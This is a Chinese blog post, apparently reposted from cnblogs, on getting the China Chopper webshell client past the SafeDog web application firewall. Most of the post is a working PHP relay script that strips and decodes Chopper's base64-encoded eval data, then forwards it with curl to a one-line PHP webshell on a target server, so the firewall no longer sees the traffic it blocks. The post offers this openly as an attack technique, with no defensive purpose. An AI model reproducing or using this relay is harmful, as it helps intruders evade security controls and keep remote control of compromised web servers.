• 简单几步让中国菜刀绕过安全狗


    有些一句话虽然可以单独成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

    首先在本地搭建WEB SERVER,然后写一个php转发程序:

    $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
    $poststr='';
    $i=0;
    foreach($_POST as $k=>$v)
    {
    if(strstr($v, "base64_decode"))
    {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
    }
    else
    {
    if($k==="z0")
    $v=base64_decode($v);
    }
    $pp=$k."=".urlencode($v);
    //echo($pp);
    if($i!=0)
    {
    $poststr=$poststr."&".$pp;
    }
    else
    {
    $poststr=$pp;
    }
    $i=$i+1;
    }
    $ch = curl_init();
    $curl_url = $target."?".$_SERVER['QUERY_STRING'];
    curl_setopt($ch, CURLOPT_URL, $curl_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    ?>

    意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

    这样就可以使用菜刀来连接前面那个一句话马了:

    这样就能用菜刀了

  • 相关阅读:
    JVM学习-垃圾回收算法
    JVM学习-jvm判断对象已死的方法
    JVM学习-jvm内存区域
    python 多线程
    Python+unittest+requests+excel实现接口自动化测试框架
    linux 运行tensorflow文件缺少_bz2问题及解决
    获取url地址
    微信小程序的小问题(2)
    微信小程序的小问题(1)
    前端知识
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154569.html
Copyright © 2020-2023  润新知